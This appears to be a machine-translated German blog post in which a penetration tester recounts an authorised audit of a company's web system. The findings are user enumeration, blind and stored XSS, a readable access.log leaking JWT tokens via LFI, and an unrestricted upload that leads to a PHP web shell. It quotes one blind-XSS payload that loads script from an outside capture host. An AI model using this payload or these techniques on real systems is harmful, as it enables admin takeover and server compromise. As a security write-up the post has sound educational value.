Vom normalen Benutzer zum vollwertigen Serveradministrator (XSS, LFI, Web-Shell)



Anfang des Jahres schrieb mir ein Mitarbeiter eines Unternehmens. Soweit ich weiß, gab es einen kleinen Konflikt in der Firma. Aufgrund dessen bestand die Gefahr eines Kompromisses des Systems durch einige Mitarbeiter. Die Entscheidung, das System zu prüfen, war definitiv die richtige. Immerhin haben mich die Ergebnisse der Inspektion angenehm überrascht und den Kunden "unangenehm" überrascht.

Die Systemarchitektur war grundsätzlich Standard. Es basierte auf einem Authentifizierungsdienst. Gemäß dem von jwt ausgegebenen Token könnte der Benutzer die Systemfunktionalität auf verschiedenen Subdomänen verwenden.

Das Testen war auf eine Subdomäne beschränkt. Aber das grundlegendste laut Kunden. Ich werde nicht alle Fehler und Probleme im Detail erzählen. Sie wurden viel entdeckt. Ich werde nur diejenigen beschreiben, die mir am neugierigsten erschienen.

Informationsredundanz bei der Suche nach Benutzern


Die Suchabfrage für Benutzer, die eine Reihe von Informationen der folgenden Art erhalten dürfen - Benutzer-ID, Name, Login, Avatar ...

Ohne Probleme konnte die gesamte Datenbank der Login_Name-Benutzer erfasst werden. Auch bei der Anmeldefunktion gab es keine besonderen Einschränkungen. Dann war es möglich, ein Passwort in mehreren Streams auszuwählen oder Point Phishing bei den wichtigsten Benutzern des Systems durchzuführen.

Blind XSS beim Anfordern von Benutzerunterstützung.


Ich hatte den Eindruck, dass dieses Problem in 90% der Systeme auftritt, auf die ich stoße. Früher sind mir wiederholt „Idioten“ von Plattformen zum Sammeln von Bewertungen zugeflogen. Zugriffe auf die Überwachungssysteme des Nutzerverhaltens im Internet flogen ebenfalls ein. Es gab viele Dinge. Allerdings verstehen nur wenige Menschen, wie gefährlich dies sein kann. Insbesondere wurde diese Sicherheitsanfälligkeit hier geschrieben.
In diesem Fall habe ich sichergestellt, dass der Angriff versehentlich funktioniert hat, als ich eine Benachrichtigung von XSS Hunter erhalten habe . Der Angriffsvektor war wie folgt:

"><script src=https://sa.xss.ht></script> 

Der Kunde glaubte jedoch nicht, dass ich über diesen Angriffsvektor die Kontrolle über das Admin-Panel erlangen könnte. Schließlich werden alle wertvollen Informationen im lokalen Speicher gespeichert. Da XSS Hunter den Empfang lokaler Speicherinformationen nicht unterstützt, musste ich meinen eigenen XSS-Logger bereitstellen. Die folgende Veröffentlichung war sehr hilfreich. Infolge des wiederholten Angriffs konnte überprüft werden, ob das JWT-Token des Administrators auch aus lokalem Speicher problemlos mit böswilligen Mitteln abgerufen werden kann.


Nun, mit den Administratorrechten im System können Sie alles tun.

XSS in einer E-Mail gespeichert.


Im System wurde eine Funktionalität entdeckt, mit der Sie gerahmte E-Mail-Einladungen erstellen können, um neue Benutzer zu registrieren. Sie können den Namen der Person in das Briefformular einfügen. Um E-Mails persönlicher zu gestalten. Infolgedessen wurde nicht der gesamte Inhalt entkommen und fiel in den Brief. Um einen ähnlich erfolgreichen xss-Angriff über einen Brief auszuführen, müssen Sie den E-Mail-Client des Opfers kennen und Zero-Day-xss für diesen Client kennen. Im Allgemeinen war der Erfolg dieses Angriffs per Definition vernachlässigbar. Bis zu dem Moment, als ich einen merkwürdigen Knopf in der oberen Ecke des Briefes fand.



Es war eine Gelegenheit, eine Webversion des Briefes zu öffnen. Und hier erwartete mich eine Überraschung. Mein XSS hat funktioniert. Gleichzeitig wurde die Webversion des Briefes in der Subdomain admin. *. Com geöffnet



Doppelte Überraschung sozusagen.

Verfügbare Datei access.log


Im Prüfungsprozess habe ich einen interessanten Ort gefunden. Wenn verschiedene Zeichen in die Anfrage eingingen, kam 404 als Antwort vom Server an. In regelmäßigen Abständen unterschied sich die 404-Antwort jedoch geringfügig von der vorherigen. Manchmal gab es einen zusätzlichen Header. Manchmal nicht. Eine bestimmte Mutation in den Antworten des Systems veranlasste mich, die Aufnahme lokaler Dateien (Local File Inclusion, LFI ) an dieser Stelle zu überprüfen. Ich habe das lfi-Wörterbuch eingerichtet und darauf gewartet, dass das System Antworten auf alle meine Anfragen zurückgibt. Als ich die Testergebnisse betrachtete, war ich sehr überrascht über die Antwort mit einem Status von 200 bei einer sehr gewichtigen Größe der übertragenen Daten.



Es stellte sich heraus, dass ich eine lesbare Datei access.log gefunden habe. Diese Datei zeichnete alle Aktivitäten auf dem Server auf. In dieser Datei konnten jwt-Benutzertoken erkannt werden.


Die Ablaufzeit dieser Token war ziemlich groß. Und auch das war nicht sehr gut.

Voller Web-Shell-Zugriff auf den Server


Im Prinzip sind alle oben genannten Probleme häufig. Bestimmte Arten von Sicherheitslücken sind jedoch bereits schwer zu beheben. Es geht um den Zugriff auf den Server durch sauber geladenen Code in der Datei shell.php. Danach werden alle Projekte auf diesem Server gefährdet. Bo0oM schrieb 2016 in seinem Blog über dieses Problem.
Aber zurück zu meinem Beispiel. Das System hatte die Fähigkeit, Veröffentlichungen zu machen. Gleichzeitig konnte ein Bild zur Veröffentlichung hochgeladen werden. Das Bild wurde in derselben Domain gespeichert. Der Dateiname wurde jedoch zwangsweise geändert. Dh du lädst hoch - mypicture.jpg. Als Ergebnis erhalten Sie jedoch 12345.jpg. Ich beschloss zu prüfen, was passieren würde, wenn ich die XML-Datei übertrage (damals träumte ich anscheinend davon, XXE zu treffen). Und zu meiner Überraschung bekam ich die Antwort 123556.xml. Und dann wurde mir klar, dass die PHP-Dateierweiterung für die Web-Shell eine 99% ige Erfolgschance hat. Für diesen Angriff habe ich die b374k-Shell verwendet . Mit direktem Zugriff auf die Datei habe ich bekommen, was ich wollte. Zugriff auf Serververzeichnisse.



Aber das war nicht das Traurigste. Das Traurigste war, dass durch diese Sicherheitsanfälligkeit mehr als 10 Projekte kompromittiert werden konnten, die sich im Stammverzeichnis dieses Servers befanden.



Mein Freund Cyberpunkyc sagte, dass dies im Jahr 2007-2010 gesehen werden könnte. Leider auf dem Hof ​​von 2019. Ein ähnliches Problem besteht bis heute.

Als Ergebnis der Tests war der Kunde von den Ergebnissen sehr überrascht. Und ich war sehr froh, dass ich beim Testen sehr nützlich war. Wenn Sie Vorschläge mit interessanten Projekten haben - schreiben Sie mir bitte per Telegramm ;)

Source: https://habr.com/ru/post/de452854/


All Articles